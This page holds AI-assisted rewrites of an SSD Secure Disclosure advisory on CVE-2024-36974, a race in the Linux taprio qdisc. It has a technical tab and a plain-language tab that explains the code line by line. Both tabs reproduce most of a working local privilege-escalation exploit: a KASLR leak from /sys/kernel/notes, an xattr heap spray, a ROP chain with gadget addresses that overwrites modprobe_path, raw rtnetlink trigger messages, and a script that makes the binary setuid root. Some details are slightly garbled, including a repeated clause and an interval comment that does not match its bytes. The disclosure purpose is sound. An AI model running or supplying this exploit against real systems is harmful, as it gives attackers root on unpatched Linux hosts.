Skip to content
Race condition Write-up Advanced

SSD Advisory: Linux Kernel taprio OOB

A logic bug in the Linux kernel's taprio scheduler allows a user to bypass input validation of the mqprio options by invoking taprio_change twice within an RCU grace period. This lets an attacker supply an out-of-bounds queue index that is later used to dereference a controlled pointer, leading to kernel code execution and privilege escalation to root.

ssd-disclosure.com

Published on ssd-disclosure.com

This white paper describes an out-of-bound access vulnerability for TyphoonPWN 2024 in the Linux PE category. This vulnerability has been tested and confirmed on Ubuntu 22.04 with the kernel version: 6.5.0-1023-oem.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

This is an SSD Secure Disclosure white paper on an out-of-bounds access in the Linux kernel's taprio traffic scheduler, published on 27 August 2024 as part of TyphoonPWN 2024 in the Linux PE category. The vulnerability is tracked as CVE-2024-36974.

The affected code lives in /net/sched/sch_taprio.c. taprio is a time-aware qdisc: userspace configures it over rtnetlink with a schedule (gate control entries) and, optionally, an mqprio mapping that assigns traffic classes to hardware queues. The mqprio option carries a struct tc_mqprio_qopt with num_tc, per-class count[] and per-class offset[] values. The kernel is supposed to validate that structure before using it.

The bug was tested and confirmed on Ubuntu 22.04 with kernel version 6.5.0-1023-oem. The affected versions listed are Linux Kernel 6.5.0 and Ubuntu 22.04 with Linux Kernel 6.5.0-1023-em.

Setup

The researcher's exploit is a single C program that runs as an unprivileged user and sets up its own environment:

  1. It creates a user, network and mount namespace with unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS), maps the real UID and GID to 0 inside the namespace, and mounts a tmpfs over /tmp.
  2. It brings up the loopback interface and creates a team device named team0, which is the interface the qdisc is attached to.
  3. It opens /sys/kernel/notes to defeat KASLR and creates /tmp/xattr as the file used for the xattr heap spray.

No special privileges are needed beyond the ability to create a user and network namespace.

Finding it

The root cause starts with a logic bug that lets unsanitised input reach the kernel and eventually causes the out-of-bounds access. In taprio_parse_mqprio_opt the validation is skipped whenever the device already has traffic classes configured:

C
static int taprio_parse_mqprio_opt(...)
{
    ...
    if (dev->num_tc)
        return 0;
    ...

    // the following line verifies the user-input
    return mqprio_validate_qopt(...);
}

If mqprio is already configured (dev->num_tc is nonzero), the user input is not verified. On its own this is usually fine, because mqprio can only be configured once, as checked in taprio_change:

C
static int taprio_change(...)
{
    ...
    err = taprio_parse_mqprio_opt(dev, mqprio, extack, q->flags);
    ...
    oper = rtnl_dereference(q->oper_sched);
    admin = rtnl_dereference(q->admin_sched);
    ...
    if (mqprio && (oper || admin)) {
    NL_SET_ERR_MSG(extack, "Changing the traffic mapping of a running schedule is not supported");
    err = -ENOTSUPP;
    goto free_sched;
    }

    if (mqprio) {
        err = netdev_set_num_tc(dev, mqprio->num_tc);
        ...
    }
    ...
    rcu_assign_pointer(q->admin_sched, new_admin);
    ...
 }

The inconsistency is that oper and admin are RCU-protected variables, so the kernel may read stale versions of them, while dev->num_tc is always the latest value. If a user invokes taprio_change twice within an RCU grace period, which the report describes as a really long time, the first call sets dev->num_tc through netdev_set_num_tc but does not update q->admin_sched immediately, because that update is delayed until the grace period ends. The second call then sees the old q->admin_sched, passes the oper || admin check and allows the mqprio update, but taprio_parse_mqprio_opt sees the nonzero dev->num_tc and skips validation. The result is that an arbitrary mqprio reaches the kernel.

Exploitation

The report traces where the unvalidated values are used. The useful sink is again in taprio_change, where the offset values are copied into the qdisc's per-class transmit queue array:

C
static int taprio_change(...)
{
    ...
    for (i = 0; i < mqprio->num_tc; i++) {
        ...
        q->cur_txq[i] = mqprio->offset[i];
    }
    ...
}

static struct sk_buff *taprio_dequeue_tc_priority(...)
{
    ...
    skb = taprio_dequeue_from_txq(sch, q->cur_txq[tc], entry, gate_mask);
    ...
}

static struct sk_buff *taprio_dequeue_from_txq(...)
{
    ...
    struct Qdisc *child = q->qdiscs[txq];
    ...
    skb = child->ops->peek(child);
    ...
    skb = child->ops->dequeue(child);
    ...
}

The attacker-controlled value is used as an index into q->qdiscs, and the kernel dereferences the result and calls through it. The qdiscs array has a fixed size of 16. Passing a txq larger than 16, combined with heap spray and heap grooming, lets the attacker have their data dereferenced as child and obtain PC control.

Step 1: defeat KASLR

The exploit reads the address of startup_xen from /sys/kernel/notes. The report notes that the kernel team forgot to remove kernel pointers from this pseudo-file. The hardcoded reference address is 0xffffffff836933d0, and the slide is computed as the difference between the leaked value and that constant:

C
#define STARTUP_XEN 0xffffffff836933d0
...
  fd = open("/sys/kernel/notes", O_RDONLY);
  char buf[0xf0];
  read(fd, buf, 0xf0);

  u64 startup_xen;
  int ret = read(fd, & startup_xen, sizeof(u64));
  assert(ret > 0);
  kaslr_slide = startup_xen - STARTUP_XEN;
  printf("startup_xen: %#llx\n", startup_xen);
  printf("kaslr_slide: %#llx\n", kaslr_slide);
  close(fd);
  assert((kaslr_slide & 0xfff) == 0);

Step 2: place controlled data where child->ops is read

The report notes there are no kernel heap leaks, so the exploit must make child->ops point somewhere controlled without knowing heap addresses. Using pahole, the researcher found that ops sits at offset 0x18 in struct Qdisc, which overlaps with the name field of struct simple_xattr. The exploit therefore sprays many struct simple_xattr objects and puts the payload in the name. Heap grooming is also needed so that the vulnerable Qdisc object is followed by a controlled simple_xattr, meaning the out-of-bounds read lands on attacker data. When the kernel calls child->ops->xxx, it calls something the attacker controls, and with KASLR already defeated the exploit can start a ROP chain.

The chosen goal is to overwrite modprobe_path with the ROP chain and then have another process trigger it to get root. The report notes this approach needs a fairly short ROP chain and is easy to manage.

The grooming function first defragments the heap with XATTR_DEFRAG_NUM (0x100) xattrs of size 0x57, then sprays XATTR_SPRAY_NUM (0x800) xattrs of size 0x58 whose name and value carry the ROP chain, then removes every 32nd xattr to create holes:

C
#define XATTR_FILE_PATH "/tmp/xattr"
#define XATTR_DEFRAG_NUM 0x100
#define XATTR_SPRAY_NUM 0x800
#define OOB_IDX 16
...
  *(u64 * ) & name[0x38] = kaslr_slide + 0xffffffff8149d82c; //: push rdi; mov rbp, rsp; pop rbp; xor edi, edi; ret
  *(u64 * ) & name[0x30] = kaslr_slide + 0xffffffff8149289e; //: leave; jmp qword ptr [rbp+0x48];
  *(u64 * ) & payload[0x20 + 1] = kaslr_slide + 0xffffffff810b5162; //: pop r13; pop r12; pop rbp; pop rbx; ret;

  *(u64 * ) & payload[0] = kaslr_slide + 0xffffffff81e5ebca; //: pop rax; ret;
  *(u64 * ) & payload[8] = kaslr_slide + 0xffffffff833d8960; // modprobe_path
  *(u64 * ) & payload[0x10] = kaslr_slide + 0xffffffff810e596f; //: pop rdi; pop r14; pop r13; pop r12; pop rbx; jmp 0xffffffff8213fc90 <__x86_return_thunk>;
  *(u64 * ) & payload[0x18] = 0x6f6d2f706d742f2f;
  *(u64 * ) & payload[0x40] = kaslr_slide + 0xffffffff81e44878; //: mov [rax], rdi; mov eax, 4; pop rbp; xor esi, esi; xor edi, edi; jmp 0xffffffff8213fc90 <__x86_return_thunk>;
  *(u64 * ) & payload[0x50] = kaslr_slide + 0xffffffff811f1690; // msleep

  heap_defragment(XATTR_DEFRAG_NUM);

  for (int i = 0; i < XATTR_SPRAY_NUM; i++) {
    rand_str( & name[0x48], 0x7);

    int ret = setxattr(XATTR_FILE_PATH, name, payload, 0x58, XATTR_CREATE);
    names[i] = strdup(name);
    if (ret != 0) error_out("setxattr failure for file: %s", XATTR_FILE_PATH);
  }

  for (int i = 0; i < XATTR_SPRAY_NUM; i += 32) {
    int ret = removexattr(XATTR_FILE_PATH, names[i]);
    if (ret != 0) error_out("setxattr failure for file: %s", XATTR_FILE_PATH);
  }

The value written at payload[0x18], 0x6f6d2f706d742f2f, is the string //tmp/mo in little-endian, the start of the new modprobe_path.

Step 3: trigger the bug with two rtnetlink messages

The exploit opens a NETLINK_ROUTE socket and sends two RTM_NEWQDISC messages for team0. The first creates a benign taprio qdisc with num_tc = 1, count[0] = 1 and offset[0] = 0, which sets dev->num_tc without the admin schedule becoming visible yet. The second message, sent with NLM_F_CREATE | NLM_F_REPLACE, sets offset[0] = OOB_IDX (16), one past the end of the 16-entry qdiscs array, and is the one that passes unvalidated because of the RCU race.

The first message is built as follows:

C
  struct nlmsghdr nlmsghdr = {
    .nlmsg_len = 0,
    .nlmsg_type = RTM_NEWQDISC,
    .nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST,
    .nlmsg_seq = 0,
    .nlmsg_pid = 0,
  };

  struct tcmsg tcmsg = {
    .tcm_family = 0,
    .tcm_ifindex = ifindex,
    .tcm_handle = 0,
    .tcm_parent = 0xffffffff,
    .tcm_info = 0,
  };

  struct tc_mqprio_qopt qopt = {
    0
  }; // setup a benign taprio mqprio
  memset( & qopt, 0, sizeof(qopt));
  qopt.num_tc = 1;
  qopt.hw = 0;
  qopt.count[0] = 1;
  qopt.offset[0] = 0;

The netlink attributes are a raw byte array carrying TCA_KIND set to taprio, TCA_OPTIONS with a clock ID of 0, a schedule entry list with one entry whose gate_mask is 0xfffffffc and interval is 0x7fffffff, and TCA_TAPRIO_ATTR_PRIOMAP. The qopt structure is copied into the attribute buffer at offset 0x30 + 4 before sending:

C
  char raw_attrs[] = "\x0b\x00"
  "\x01\x00"
  "taprio\x00\x00" // rtm_tca_policy - TCA_KIND
  "\x7c\x00"
  "\x02\x00" // TCA_OPTIONS
  "\x08\x00"
  "\x05\x00"
  "\x00\x00\x00\x00" // TCA_TAPRIO_ATTR_SCHED_CLOCKID = 0
  "\x18\x00"
  "\x02\x80" // taprio_policy - TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST
  "\x14\x00"
  "\x01\x80" // TCA_TAPRIO_SCHED_ENTRY
  "\x08\x00"
  "\x03\x00"
  "\xfc\xff\xff\xff" // gate_mask = 0xfffffffc
  "\x08\x00"
  "\x04\x00"
  "\xff\xff\xff\x7f" // interval = 0x7fffffff
  "\x56\x00"
  "\x01\x00" // TCA_TAPRIO_ATTR_PRIOMAP
  "\x00"
  "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00"
  "\x00\x00"
  ...
  "\x00\x00";

  char * attrs = malloc(0x1000);
  memset(attrs, 0, 0x1000);

  // modify qopt
  memcpy(attrs, raw_attrs, sizeof(raw_attrs));
  memcpy(attrs + 0x30 + 4, & qopt, sizeof(qopt));

  void * pkt = build_pkt( & nlmsghdr, & tcmsg, attrs, sizeof(raw_attrs) - 1);
  heap_groom();
  send(sock, pkt, nlmsghdr.nlmsg_len, 0);

The second message uses handle 0x10000, NLM_F_CREATE | NLM_F_REPLACE | NLM_F_REQUEST, a full gate_mask of 0xffffffff, an interval of 0x1000, and the out-of-bounds offset:

C
  struct nlmsghdr nlmsghdr2 = {
    .nlmsg_len = 0,
    .nlmsg_type = RTM_NEWQDISC,
    .nlmsg_flags = NLM_F_CREATE | NLM_F_REPLACE | NLM_F_REQUEST,
    .nlmsg_seq = 0,
    .nlmsg_pid = 0,
  };

  struct tcmsg tcmsg2 = {
    .tcm_family = 0,
    .tcm_ifindex = ifindex,
    .tcm_handle = 0x10000,
    .tcm_parent = 0xffffffff,
    .tcm_info = 0,
  };

  char raw_attrs2[] = "\x0b\x00"
  "\x01\x00"
  "taprio\x00\x00" // rtm_tca_policy - TCA_KIND
  "\x7c\x00"
  "\x02\x00" // TCA_OPTIONS
  "\x08\x00"
  "\x05\x00"
  "\x00\x00\x00\x00" // TCA_TAPRIO_ATTR_SCHED_CLOCKID = 0
  "\x18\x00"
  "\x02\x80" // taprio_policy - TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST
  "\x14\x00"
  "\x01\x80" // TCA_TAPRIO_SCHED_ENTRY
  "\x08\x00"
  "\x03\x00"
  "\xff\xff\xff\xff" // gate_mask = 0xffffffff
  "\x08\x00"
  "\x04\x00"
  "\x00\x20\x00\x00" // interval = 0x1000
  "\x56\x00"
  "\x01\x00" // TCA_TAPRIO_ATTR_PRIOMAP
  "\x00"
  "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00"
  "\x00\x00"
  ...
  "\x00\x00";

  memset( & qopt, 0, sizeof(qopt));
  qopt.num_tc = 1;
  qopt.hw = 0;
  qopt.count[0] = 1;
  qopt.offset[0] = OOB_IDX;
  memcpy(attrs, raw_attrs2, sizeof(raw_attrs2));
  memcpy(attrs + 0x30 + 4, & qopt, sizeof(qopt));

  void * pkt2 = build_pkt( & nlmsghdr2, & tcmsg2, attrs, sizeof(raw_attrs2) - 1);

  send(sock, pkt2, nlmsghdr2.nlmsg_len, 0);

  puts("[-] failed to trigger the payload, retry...");
  * terminate = 1;
  sleep(1000000);

If the payload does not fire, the child sets the shared terminate flag and the parent retries on another CPU.

Step 4: get root through modprobe_path

A separate process, forked before entering any namespace, polls /proc/sys/kernel/modprobe until it reads //tmp/modprobe. It then forks ten busy processes pinned to CPUs, writes a script to /tmp/modprobe that makes the exploit binary setuid root, and executes a file with an unknown binary format to make the kernel invoke the new modprobe_path:

C
  if (!strncmp(buf, "//tmp/modprobe", 14)) {
    sprintf(buf, "echo '#!/bin/bash\\nchown root:root %s; chmod 04755 %s' > /tmp/modprobe; chmod +x /tmp/modprobe", path, path);
    system(buf);
    system("echo 1 > /tmp/1; chmod +x /tmp/1; /tmp/1 2> /dev/null");
    char * argv[] = {
      path,
      NULL
    };
    char * env[] = {
      NULL
    };
    execve(path, argv, env);
  }

The main loop forks an attempt() child per CPU, waits up to ten seconds for it, and rotates the CPU affinity until modprobe_overwritten() returns true. check_root() handles the case where the process is already root or the modprobe path has already been overwritten.

Root cause

The validation in taprio_parse_mqprio_opt is conditional on dev->num_tc, which is updated synchronously by netdev_set_num_tc, while the guard that prevents reconfiguration (oper || admin) reads RCU-protected pointers that are only updated after a grace period. Two taprio_change calls inside one grace period therefore let a second, unvalidated mqprio through. The unvalidated offset[] values are stored in q->cur_txq[] and later used as an index into the fixed-size q->qdiscs[16] array, and the resulting pointer is dereferenced and its ops called. The report does not describe any additional mitigation that would have stopped the dereference; the exploit relies on the KASLR leak from /sys/kernel/notes and on heap grooming to control the out-of-bounds object.

Impact

An unprivileged local user can turn the out-of-bounds access into PC control and escalate to root, as demonstrated on Ubuntu 22.04 with kernel 6.5.0-1023-oem. The exploit needs the ability to create user and network namespaces, a network device to attach the qdisc to, and a successful heap groom; the report notes the RCU grace period is a really long time, and the exploit retries across CPUs until modprobe_path is overwritten. and the exploit retries across CPUs until modprobe_path is overwritten.

Fix

The vulnerability was patched upstream in the Linux kernel and in the distributions that rely on it. The patch is at:

Text
https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f921a58ae208

Variants to test

  1. Other qdiscs that cache user-supplied indices into fixed-size arrays and read them back on the dequeue path. A positive result is an index that survives validation and is later used to index a qdiscs-like array.
  2. Other RCU-protected state used as a guard in front of validation, where a synchronously updated flag is checked elsewhere. A positive result is a second configuration call inside a grace period that skips validation.
  3. Other pseudo-files that expose kernel pointers, such as /sys/kernel/notes here. A positive result is a readable kernel text address that yields a page-aligned KASLR slide.
  4. Other structures whose field at the offset of Qdisc.ops overlaps a user-controlled field of a sprayable object such as simple_xattr. A positive result is a controlled function pointer reached through the out-of-bounds index.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

What happened, in plain words

In August 2024, a security researcher taking part in a contest called TyphoonPWN 2024 (in its Linux privilege escalation category) published a white paper through SSD Secure Disclosure. The paper describes a bug in the Linux kernel, the core program of the operating system, tracked as CVE-2024-36974. The bug lets an ordinary user, someone with no administrator rights, take full control of the machine and become the root user, the all-powerful account on Linux.

The bug lives in a part of the kernel called taprio, which is a traffic scheduler. Think of a road junction with traffic lights: taprio decides which lane (which queue of network packets) gets to send data at which moment. A program on the computer can configure taprio by sending it a description of the schedule and of how traffic classes map onto hardware queues. The kernel is supposed to check that description carefully before using it. In this case it does not, under a particular timing condition, and a value from the description ends up being used as a position in a fixed-size list. Reading past the end of a list is called an out-of-bounds access, and here it lets the attacker redirect the kernel to code of their choosing.

The researcher tested and confirmed the bug on Ubuntu 22.04 with kernel version 6.5.0-1023-oem. The affected versions listed are Linux Kernel 6.5.0 and Ubuntu 22.04 with Linux Kernel 6.5.0-1023-em.

Or watch on YouTube
Blue0 1 From the original on ssd-disclosure.com

Some background before we start

A few ideas come up again and again below, so here they are in everyday terms.

  • Kernel: the central part of the operating system. It sits between programs and the hardware, and it is the only code allowed to do privileged things. If an attacker can make the kernel run their instructions, the game is over.
  • Userspace: everything that is not the kernel, meaning normal programs, including the attacker's program.
  • qdisc: short for queueing discipline. It is the kernel's rulebook for how outgoing network packets are queued and sent. taprio is one such rulebook.
  • rtnetlink: the channel through which userspace talks to the kernel about networking. It is a message protocol: the program builds a structured message and sends it over a special socket, and the kernel parses it. You can compare it to a form with numbered fields, where each field has a label (an attribute) and a value.
  • Namespace: a private, isolated view of part of the system. A user namespace gives a process its own idea of which user IDs exist; a network namespace gives it its own network interfaces. Unprivileged users on Ubuntu are normally allowed to create these, which is why the exploit can run without any special rights.
  • Heap: the kernel's general-purpose memory pool, where objects of many kinds are allocated next to each other. Because allocations land close together, an attacker who can allocate many objects of a chosen kind can influence what sits next to a vulnerable object. That is called heap grooming or heap spraying.
  • KASLR: kernel address space layout randomisation. At each boot the kernel is placed at a random address, so an attacker cannot hardcode the address of a kernel function. To run kernel code of their choosing, the attacker first has to learn where the kernel actually is.
  • ROP: return-oriented programming. Instead of writing new machine code, the attacker chains together small existing snippets of kernel code (called gadgets), each ending in a return instruction, so that the chain performs the attacker's desired actions.
  • RCU: read-copy-update, a kernel mechanism for sharing data between threads without locks. A writer publishes a new version of a pointer, but readers may still see the old version for a while, until a grace period has passed. The report calls this grace period a really long time.
  • modprobe_path: a kernel setting holding the path of a helper program the kernel runs when it needs to load a module (a driver). If an attacker can change that path, they can make the kernel run a program of their own as root. It is a classic target for privilege escalation.

Setting up the environment

The exploit is a single C program that runs as an ordinary user and prepares everything it needs by itself:

  1. It creates a user, network and mount namespace with unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS), maps the real user and group IDs to 0 inside the namespace, and mounts a temporary in-memory filesystem (tmpfs) over /tmp.
  2. It brings up the loopback interface (the machine talking to itself) and creates a team device named team0. A team device is a virtual network interface that bundles several links together; here it is simply the interface the scheduler will be attached to.
  3. It opens /sys/kernel/notes to work out where the kernel is in memory (defeating KASLR), and creates the file /tmp/xattr, which will be used to spray heap objects.

No special privileges are needed beyond the ability to create a user and network namespace.

Finding the bug

The root cause starts with a logic bug: a check that is skipped in the wrong situation, letting unchecked input reach the kernel and eventually causing the out-of-bounds access. In the function taprio_parse_mqprio_opt, the validation is skipped whenever the device already has traffic classes configured:

C
static int taprio_parse_mqprio_opt(...)
{
    ...
    if (dev->num_tc)
        return 0;
    ...

    // the following line verifies the user-input
    return mqprio_validate_qopt(...);
}

Line by line:

  • static int taprio_parse_mqprio_opt(...) is the function that is supposed to inspect the mqprio part of the user's request. The ... stands for arguments the report leaves out.
  • if (dev->num_tc) asks: does this network device already have traffic classes set up? num_tc is a counter of traffic classes.
  • return 0; means "everything is fine, carry on" without doing any checking at all.
  • return mqprio_validate_qopt(...); is the real validation, reached only when the device has no traffic classes yet.

So if mqprio is already configured (that is, dev->num_tc is nonzero), the user input is not verified. On its own this is usually fine, because mqprio can only be configured once, as checked in taprio_change:

C
static int taprio_change(...)
{
    ...
    err = taprio_parse_mqprio_opt(dev, mqprio, extack, q->flags);
    ...
    oper = rtnl_dereference(q->oper_sched);
    admin = rtnl_dereference(q->admin_sched);
    ...
    if (mqprio && (oper || admin)) {
    NL_SET_ERR_MSG(extack, "Changing the traffic mapping of a running schedule is not supported");
    err = -ENOTSUPP;
    goto free_sched;
    }

    if (mqprio) {
        err = netdev_set_num_tc(dev, mqprio->num_tc);
        ...
    }
    ...
    rcu_assign_pointer(q->admin_sched, new_admin);
    ...
 }

Line by line:

  • err = taprio_parse_mqprio_opt(dev, mqprio, extack, q->flags); calls the checking function from above. Notice that this happens before the guard below.
  • oper = rtnl_dereference(q->oper_sched); and admin = rtnl_dereference(q->admin_sched); read two pointers to schedules: the one currently operating and the one being prepared (the admin schedule). These pointers are RCU-protected, which matters in a moment.
  • if (mqprio && (oper || admin)) is the guard: if the user is trying to set an mqprio mapping and a schedule already exists (either operating or admin), refuse.
  • NL_SET_ERR_MSG(...) attaches a human-readable error message, and err = -ENOTSUPP; sets the error code to "operation not supported". goto free_sched; jumps to cleanup.
  • if (mqprio) { err = netdev_set_num_tc(dev, mqprio->num_tc); ... } records the number of traffic classes on the device. This happens immediately.
  • rcu_assign_pointer(q->admin_sched, new_admin); publishes the new admin schedule. This is the delayed part: readers may keep seeing the old value until a grace period ends.

The inconsistency is that oper and admin are RCU-protected variables, so the kernel may read stale versions of them, while dev->num_tc is always the latest value. If a user invokes taprio_change twice within an RCU grace period, the first call sets dev->num_tc through netdev_set_num_tc but does not update q->admin_sched immediately, because that update is delayed until the grace period ends. The second call then sees the old q->admin_sched, passes the oper || admin check and allows the mqprio update, but taprio_parse_mqprio_opt sees the nonzero dev->num_tc and skips validation. The result is that an arbitrary mqprio reaches the kernel.

A comparison: imagine a club with two lists at the door, one that is updated instantly (the number of traffic classes) and one that is updated only after the bouncer finishes a long round (the schedule pointers). If you knock twice quickly, the second time the bouncer still sees the old list and lets you in, while the instant counter already says you are inside, so the bag check is skipped.

Exploitation

The report traces where the unvalidated values are used. The useful sink is again in taprio_change, where the offset values are copied into the qdisc's per-class transmit queue array:

C
static int taprio_change(...)
{
    ...
    for (i = 0; i < mqprio->num_tc; i++) {
        ...
        q->cur_txq[i] = mqprio->offset[i];
    }
    ...
}

static struct sk_buff *taprio_dequeue_tc_priority(...)
{
    ...
    skb = taprio_dequeue_from_txq(sch, q->cur_txq[tc], entry, gate_mask);
    ...
}

static struct sk_buff *taprio_dequeue_from_txq(...)
{
    ...
    struct Qdisc *child = q->qdiscs[txq];
    ...
    skb = child->ops->peek(child);
    ...
    skb = child->ops->dequeue(child);
    ...
}

Line by line:

  • for (i = 0; i < mqprio->num_tc; i++) loops once per traffic class the user asked for.
  • q->cur_txq[i] = mqprio->offset[i]; copies the user's offset value into the qdisc's table of current transmit queues. This is the unchecked value being stored.
  • In taprio_dequeue_tc_priority, skb = taprio_dequeue_from_txq(sch, q->cur_txq[tc], entry, gate_mask); passes that stored value on as txq when a packet is about to be sent. skb is a network packet buffer.
  • In taprio_dequeue_from_txq, struct Qdisc *child = q->qdiscs[txq]; uses txq as an index into the qdiscs array. If txq is out of range, this reads memory outside the array.
  • skb = child->ops->peek(child); and skb = child->ops->dequeue(child); then treat whatever was read as a Qdisc object and call functions through its ops table. ops is a table of function pointers, so this is an indirect call: the kernel jumps to an address taken from memory.

The attacker-controlled value is used as an index into q->qdiscs, and the kernel dereferences the result and calls through it. The qdiscs array has a fixed size of 16. Passing a txq larger than 16, combined with heap spray and heap grooming, lets the attacker have their data dereferenced as child and obtain PC control, meaning control over which instruction the processor executes next.

Step 1: defeat KASLR

The exploit reads the address of startup_xen from /sys/kernel/notes. The report notes that the kernel team forgot to remove kernel pointers from this pseudo-file. The hardcoded reference address is 0xffffffff836933d0, and the slide is computed as the difference between the leaked value and that constant:

C
#define STARTUP_XEN 0xffffffff836933d0
...
  fd = open("/sys/kernel/notes", O_RDONLY);
  char buf[0xf0];
  read(fd, buf, 0xf0);

  u64 startup_xen;
  int ret = read(fd, & startup_xen, sizeof(u64));
  assert(ret > 0);
  kaslr_slide = startup_xen - STARTUP_XEN;
  printf("startup_xen: %#llx\n", startup_xen);
  printf("kaslr_slide: %#llx\n", kaslr_slide);
  close(fd);
  assert((kaslr_slide & 0xfff) == 0);

Line by line:

  • #define STARTUP_XEN 0xffffffff836933d0 stores the address startup_xen would have if KASLR were switched off.
  • fd = open("/sys/kernel/notes", O_RDONLY); opens a pseudo-file in /sys that is supposed to contain build notes, not addresses.
  • char buf[0xf0]; read(fd, buf, 0xf0); skips the first 0xf0 bytes of the file, because the interesting value comes after them.
  • int ret = read(fd, & startup_xen, sizeof(u64)); reads the next 8 bytes into startup_xen. u64 means an unsigned 64-bit integer.
  • kaslr_slide = startup_xen - STARTUP_XEN; subtracts the known address from the leaked one. The difference is the random offset the kernel was loaded at this boot.
  • The two printf calls print the leaked address and the slide, for the operator to see.
  • assert((kaslr_slide & 0xfff) == 0); sanity-checks that the slide is a multiple of 0x1000 (one memory page). If it is not, the leak was wrong and the program stops.

With the slide known, every kernel address the exploit needs can be computed by adding the slide to a fixed offset.

Step 2: place controlled data where child->ops is read

The report notes there are no kernel heap leaks, so the exploit must make child->ops point somewhere controlled without knowing heap addresses. Using pahole, a tool that shows the layout of structures in a compiled program, the researcher found that ops sits at offset 0x18 in struct Qdisc, which overlaps with the name field of struct simple_xattr. An xattr (extended attribute) is a small named value attached to a file; the kernel stores each one as a simple_xattr object whose name field is text supplied by the user. The exploit therefore sprays many struct simple_xattr objects and puts the payload in the name. Heap grooming is also needed so that the vulnerable Qdisc object is followed by a controlled simple_xattr, meaning the out-of-bounds read lands on attacker data. When the kernel calls child->ops->xxx, it calls something the attacker controls, and with KASLR already defeated the exploit can start a ROP chain.

The chosen goal is to overwrite modprobe_path with the ROP chain and then have another process trigger it to get root. The report notes this approach needs a fairly short ROP chain and is easy to manage.

The grooming function first defragments the heap with XATTR_DEFRAG_NUM (0x100) xattrs of size 0x57, then sprays XATTR_SPRAY_NUM (0x800) xattrs of size 0x58 whose name and value carry the ROP chain, then removes every 32nd xattr to create holes:

C
#define XATTR_FILE_PATH "/tmp/xattr"
#define XATTR_DEFRAG_NUM 0x100
#define XATTR_SPRAY_NUM 0x800
#define OOB_IDX 16
...
  *(u64 * ) & name[0x38] = kaslr_slide + 0xffffffff8149d82c; //: push rdi; mov rbp, rsp; pop rbp; xor edi, edi; ret
  *(u64 * ) & name[0x30] = kaslr_slide + 0xffffffff8149289e; //: leave; jmp qword ptr [rbp+0x48];
  *(u64 * ) & payload[0x20 + 1] = kaslr_slide + 0xffffffff810b5162; //: pop r13; pop r12; pop rbp; pop rbx; ret;

  *(u64 * ) & payload[0] = kaslr_slide + 0xffffffff81e5ebca; //: pop rax; ret;
  *(u64 * ) & payload[8] = kaslr_slide + 0xffffffff833d8960; // modprobe_path
  *(u64 * ) & payload[0x10] = kaslr_slide + 0xffffffff810e596f; //: pop rdi; pop r14; pop r13; pop r12; pop rbx; jmp 0xffffffff8213fc90 <__x86_return_thunk>;
  *(u64 * ) & payload[0x18] = 0x6f6d2f706d742f2f;
  *(u64 * ) & payload[0x40] = kaslr_slide + 0xffffffff81e44878; //: mov [rax], rdi; mov eax, 4; pop rbp; xor esi, esi; xor edi, edi; jmp 0xffffffff8213fc90 <__x86_return_thunk>;
  *(u64 * ) & payload[0x50] = kaslr_slide + 0xffffffff811f1690; // msleep

  heap_defragment(XATTR_DEFRAG_NUM);

  for (int i = 0; i < XATTR_SPRAY_NUM; i++) {
    rand_str( & name[0x48], 0x7);

    int ret = setxattr(XATTR_FILE_PATH, name, payload, 0x58, XATTR_CREATE);
    names[i] = strdup(name);
    if (ret != 0) error_out("setxattr failure for file: %s", XATTR_FILE_PATH);
  }

  for (int i = 0; i < XATTR_SPRAY_NUM; i += 32) {
    int ret = removexattr(XATTR_FILE_PATH, names[i]);
    if (ret != 0) error_out("setxattr failure for file: %s", XATTR_FILE_PATH);
  }

Line by line:

  • The four #define lines give names to constants: the file used for xattrs, the number of defragmentation xattrs (0x100, that is 256), the number of sprayed xattrs (0x800, that is 2048), and the out-of-bounds index (16).
  • *(u64 * ) & name[0x38] = kaslr_slide + 0xffffffff8149d82c; writes a kernel address into the xattr name at offset 0x38. The comment says the code at that address does push rdi; mov rbp, rsp; pop rbp; xor edi, edi; ret, a small gadget that sets up the stack for the chain.
  • *(u64 * ) & name[0x30] = kaslr_slide + 0xffffffff8149289e; writes another gadget address at offset 0x30: leave; jmp qword ptr [rbp+0x48], which pivots execution to a pointer stored at rbp+0x48.
  • *(u64 * ) & payload[0x20 + 1] = kaslr_slide + 0xffffffff810b5162; places a gadget at offset 0x21 of the value: pop r13; pop r12; pop rbp; pop rbx; ret, which loads several registers from the stack and returns.
  • *(u64 * ) & payload[0] = kaslr_slide + 0xffffffff81e5ebca; is the first gadget of the chain proper: pop rax; ret, which loads a value into the rax register.
  • *(u64 * ) & payload[8] = kaslr_slide + 0xffffffff833d8960; is the address of modprobe_path, the value rax will receive.
  • *(u64 * ) & payload[0x10] = kaslr_slide + 0xffffffff810e596f; is a gadget that pops several registers, including rdi, and then jumps to the return thunk (the kernel's standard return helper).
  • *(u64 * ) & payload[0x18] = 0x6f6d2f706d742f2f; is the string //tmp/mo in little-endian byte order, the beginning of the new modprobe_path value, loaded into rdi.
  • *(u64 * ) & payload[0x40] = kaslr_slide + 0xffffffff81e44878; is the gadget that performs the write: mov [rax], rdi; ..., storing the string at the address held in rax.
  • *(u64 * ) & payload[0x50] = kaslr_slide + 0xffffffff811f1690; is msleep, a function that puts the thread to sleep, used to keep the corrupted context stable.
  • heap_defragment(XATTR_DEFRAG_NUM); fills the heap with 256 small xattrs to make it tidy and predictable.
  • The first for loop runs 2048 times. rand_str( & name[0x48], 0x7); fills part of the name with random characters so each xattr name is unique. setxattr(XATTR_FILE_PATH, name, payload, 0x58, XATTR_CREATE); creates the xattr with the payload as its value. names[i] = strdup(name); remembers the name so it can be removed later. The if reports any failure.
